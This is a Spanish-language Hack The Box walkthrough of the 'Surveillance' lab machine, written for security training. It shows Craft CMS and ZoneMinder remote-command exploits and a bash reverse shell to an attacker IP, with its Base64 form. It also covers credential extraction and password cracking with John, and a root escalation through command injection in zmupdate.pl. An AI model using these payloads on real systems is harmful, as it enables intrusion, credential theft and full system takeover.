Descripción

Surveillance es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Craft CMS vulnerable permitiendo ejecución remota de comandos
  • Exposición de datos sensibles a través de copias de seguridad
  • Recuperación de una contraseña a través de su hash usando John The Ripper
  • Credenciales reutilizadas
  • ZoneMinder vulnerable permitiendo ejecución remota de comandos
  • Escalada de privilegios mediante un script Perl descontaminado de forma incorrecta

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.178.62.

$ ping -c 3 10.129.178.62
PING 10.129.178.62 (10.129.178.62) 56(84) bytes of data.
64 bytes from 10.129.178.62: icmp_seq=1 ttl=63 time=51.2 ms
64 bytes from 10.129.178.62: icmp_seq=2 ttl=63 time=45.1 ms
64 bytes from 10.129.178.62: icmp_seq=3 ttl=63 time=47.3 ms

--- 10.129.178.62 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 45.067/47.847/51.176/2.524 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.178.62 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.178.62
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap -sV -sC -p22,80 -oN nmap_scan_ports 10.129.178.62
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.178.62
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.57 seconds

Conseguimos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) funcionando en un Ubuntu Linux. Como no tenemos credenciales factibles para el servicio SSH nos movemos al servicio HTTP. Observamos que el servicio alberga un sitio web, http://surveillance.htb, por lo que lo agregamos a nuestro archivo local /etc/hosts.

$ echo "10.129.178.62 surveillance.htb" | sudo tee -a /etc/hosts

Con WhatWeb podemos comprobar que el servidor está ejecutando un servidor web Nginx 1.18.0.

$ whatweb --log-brief web_techs surveillance.htb
http://surveillance.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[demo@surveillance.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.178.62], JQuery[3.4.1], Script[text/javascript], Title[Surveillance], X-Powered-By[Craft CMS], X-UA-Compatible[IE=edge], nginx[1.18.0]

Mirando en la página web vemos una página web de un negocio que ofrece servicios para seguridad doméstica y cámaras de CCTV. Mirando el pie del sitio encontramos que el sitio está utilizando el software “Craft CMS” en su versión 4.4.14. Esta versión es vulnerable a una vulnerabilidad de ejecución de código remoto, CVE-2023-41892.

Explotación

Tenemos una prueba de concepto de esta vulnerabilidad aquí. Al ejecutar el script obtendremos una terminal remota.

$ python vuln.py http://surveillance.htb/         
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ahora vamos a crear una terminal inversa usando una cáscara codificada en Base64.

Comando de la terminal inversa original:
bash -i >& /dev/tcp/10.10.14.79/1234 0>&1

Codificada en Base64:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OS8xMjM0IDA+JjE=

Abrimos un puerto de escucha, obtenemos la terminal inversa y la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.178.62] 32988
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web/cpresources$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
www-data@surveillance:~/html/craft/web/cpresources$ stty rows 48 columns 156
www-data@surveillance:~/html/craft/web/cpresources$ export TERM=xterm
www-data@surveillance:~/html/craft/web/cpresources$ export SHELL=bash

Post-Explotación

Con la terminal funcionando en el sistema remoto encontramos como usuarios de consola root, matthew, zoneminder.

www-data@surveillance:~/html/craft/web/cpresources$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash

Al ir al directorio /var/www/html/craft encontramos el archivo .env que contiene las credenciales de la base de datos MySQL, con host 127.0.0.1, base de datos craftdb, nombre de usuario craftuser y contraseña CraftCMSPassword2023!.

www-data@surveillance:~/html/craft/web/cpresources$ cd ../..
/var/www/html/craft
www-data@surveillance:~/html/craft$ cat .env
...

## Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

...

Podemos explorar las bases de datos y obtener un hash para el usuario admin, pero no es posible recuperarlo.

www-data@surveillance:~/html/craft$ mysql -h 127.0.0.1 -u craftuser -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 1820
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

...

MariaDB [(none)]> use craftdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

...

MariaDB [craftdb]> select username,password from users;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe |
+----------+--------------------------------------------------------------+
1 row in set (0.000 sec)

Encontramos un directorio de backups en /var/www/html/craft/storage/backups con una copia de seguridad de un archivo SQL, surveillance--2023-10-17-202801--v4.4.14.sql.zip.

www-data@surveillance:~/html/craft/storage/backups$ mktemp -d
/tmp/tmp.tjAyYlOQQi
www-data@surveillance:~/html/craft$ cd /tmp/tmp.tjAyYlOQQi
www-data@surveillance:/tmp/tmp.tjAyYlOQQi$ cp /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip .
www-data@surveillance:/tmp/tmp.tjAyYlOQQi$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip 
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
www-data@surveillance:/tmp/tmp.tjAyYlOQQi$ cat surveillance--2023-10-17-202801--v4.4.14.sql | grep "INTO \`users\`"
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');

Ahora tenemos un hash para el usuario admin pero en un formato diferente, SHA-256. Lo rompemos con John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 hash2.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
starcraft122490  (admin)     
1g 0:00:00:00 DONE 4.761g/s 17476Kp/s 17476Kc/s 17476KC/s tabatah120..sn283437
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

Obtenemos la contraseña para el usuario admin, starcraft122490. Con esta contraseña podemos iniciar sesión en la terminal Linux con el nombre de usuario matthew.

www-data@surveillance:/tmp/tmp.tjAyYlOQQi$ su matthew
Password: 
matthew@surveillance:/tmp/tmp.tjAyYlOQQi$ id
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)

Ahora nos movemos para enumerar los hosts virtuales. Encontramos un host virtual correspondiente a ZoneMinder, una aplicación web utilizada para monitorear cámaras CCTV. Los archivos de configuración se encuentran en el directorio /etc/zm.

matthew@surveillance:/tmp/tmp.tjAyYlOQQi$ cat /etc/nginx/sites-enabled/zoneminder.conf 
server {
    listen 127.0.0.1:8080;
    
    root /usr/share/zoneminder/www;
    
    ...

matthew@surveillance:/tmp/tmp.tjAyYlOQQi$ cd /etc/zm
matthew@surveillance:/etc/zm$ ls -la
total 32
drwxr-xr-x   3 root root        4096 Oct 17 11:50 .
drwxr-xr-x 116 root root        4096 Dec  5 12:32 ..
drwxr-xr-x   2 root root        4096 Oct 17 10:57 conf.d
-rw-r--r--   1 root root       14489 Oct 17 10:57 core.php
-rwxr-----   1 root zoneminder  1843 Oct 17 11:50 zm.conf

Pero no podemos leer el archivo zm.conf porque no pertenecemos al grupo zoneminder. Como podemos ver la raíz de la página web se encuentra en /usr/share/zoneminder/www y sólo se permite el acceso desde el host local por el puerto 80. Así que vamos a utilizar SSH Local Port Forwarding para acceder al sitio web.

$ ssh -L 8080:127.0.0.1:8080 matthew@10.129.178.62 
matthew@10.129.178.62's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

...
matthew@surveillance:~$

Ahora tenemos acceso al servicio ZoneMinder desde nuestra máquina local en el puerto 80, http://127.0.0.1, cuando accedemos se nos pide credenciales de inicio de sesión, se reutilizan las anteriores, admin:starcraft122490. Vemos que se utiliza la versión ZoneMinder v1.36.32. Esta versión es vulnerable a una ejecución remota de comandos sin autenticar, CVE-2023-26035. Tenemos que obtener el token CSRF (csrfMagicToken) desde el código fuente HTML de index.php en la página web de ZoneMinder, view-source:http://127.0.0.1:8080/index.php. A continuación, utilizamos la herramienta de repetidor Burp Suite para crear una solicitud HTTP elaborada con la siguiente carga útil.

HTTP POST payload a enviar:
view=snapshot&action=create&monitor_ids[0][Id]=0;<COMMAND_TO_RUN>&__csrf_magic=<CSRF_TOKEN>

Cambiaremos <COMMAND_TO_RUN> con el comando de la terminal inversa y <CSRF_TOKEN>, con el token que obtuvimos. La solicitud será enviada a index.php. Antes de eso abrimos el puerto de escucha.

$ nc -nvlp 1235

Finalmente obtenemos una cáscara inversa como el usuario zoneminder.

$ nc -nvlp 1235         
listening on [any] 1235 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.178.62] 49238
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ id
id
uid=1001(zoneminder) gid=1001(zoneminder) groups=1001(zoneminder)

Vemos que podemos ejecutar algunos scripts como el usuario root.

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
zoneminder@surveillance:/usr/share/zoneminder/www$ ls -la /usr/bin/zm[a-zA-Z]*.pl      
-rwxr-xr-x 1 root root 43027 Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 12939 Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root  6043 Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 26232 Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 35206 Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root  5640 Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 19386 Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 13994 Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 17492 Nov 23  2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root  4815 Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root  2133 Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 13111 Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root  5340 Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 18482 Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 45421 Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root  8205 Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root  7022 Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 19655 Nov 23  2022 /usr/bin/zmx10.pl

Leyendo el código fuente de los scripts vemos que el script zmupdate.pl acepta algunos argumentos como user.

zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --help
Unknown option: help
Usage:
    zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
    [-u <dbuser> -p <dbpass>]

Options:
    -c, --check - Check for updated versions of ZoneMinder -f, --freshen -
    Freshen the configuration in the database. Equivalent of old zmconfig.pl
    -noi --migrate-events - Update database structures as per
    USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
    upgrade to the current version from <version> -u <dbuser>,
    --user=<dbuser> - Alternate DB user with privileges to alter DB -p
    <dbpass>, --pass=<dbpass> - Password of alternate DB user with
    privileges to alter DB -s, --super - Use system maintenance account on
    debian based systems instead of unprivileged account -d <dir>,
    --dir=<dir> - Directory containing update files if not in default build
    location -interactive - interact with the user -nointeractive - do not
    interact with the user

La lectura del código fuente nos muestra que la descontaminación de la variable Perl no se está haciendo correctamente, por lo que los comandos se pueden inyectar en el argumento.

zoneminder@surveillance:/usr/share/zoneminder/www$ cd /tmp
zoneminder@surveillance:/tmp$ cat /usr/bin/zmupdate.pl
...
    if ( $response =~ /^[yY]$/ ) {
      my ( $host, $portOrSocket ) = ( $Config{ZM_DB_HOST} =~ /^([^:]+)(?::(.+))?$/ );
      my $command = 'mysqldump';
      if ($super) {
        $command .= ' --defaults-file=/etc/mysql/debian.cnf';
      } elsif ($dbUser) {
        $command .= ' -u'.$dbUser;
        $command .= ' -p\''.$dbPass.'\'' if $dbPass;
      }
      if ( defined($portOrSocket) ) {
        if ( $portOrSocket =~ /^\// ) {
          $command .= ' -S'.$portOrSocket;
        } else {
          $command .= ' -h'.$host.' -P'.$portOrSocket;
        }
      } else {
        $command .= ' -h'.$host; 
      }
      my $backup = '/tmp/zm/'.$Config{ZM_DB_NAME}.'-'.$version.'.dump';
      $command .= ' --add-drop-table --databases '.$Config{ZM_DB_NAME}.' > '.$backup;
      print("Creating backup to $backup. This may take several minutes.\n");
      ($command) = $command =~ /(.*)/; # detaint
      print("Executing '$command'\n") if logDebugging();
      my $output = qx($command);
...

Vamos a copiar un binario Bash a un directorio temporal y ejecutar la inyección de comandos para aplicar el permiso SUID al archivo y luego tener la capacidad de crear una terminal de root. Cuando el programa nos pida hacer una copia de seguridad introduciremos ‘y’.

zoneminder@surveillance:/tmp$ cp /bin/bash .
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version=1 --user='$(chown root:root /tmp/bash; chmod u+s /tmp/bash)'

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort : 

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user '-pZoneMinderPassword2023'@'localhost'" when trying to connect
Output: 
Command 'mysqldump -u$(chown root:root /tmp/bash; chmod u+s /tmp/bash) -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump' exited with status: 2
zoneminder@surveillance:/tmp$ ./bash -p
bash-5.1# whoami
root

Finalmente tenemos el terminal conectada como el usuario root.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

bash-5.1# cat /home/matthew/user.txt 
<REDACTED>
bash-5.1# cat /root/root.txt 
<REDACTED>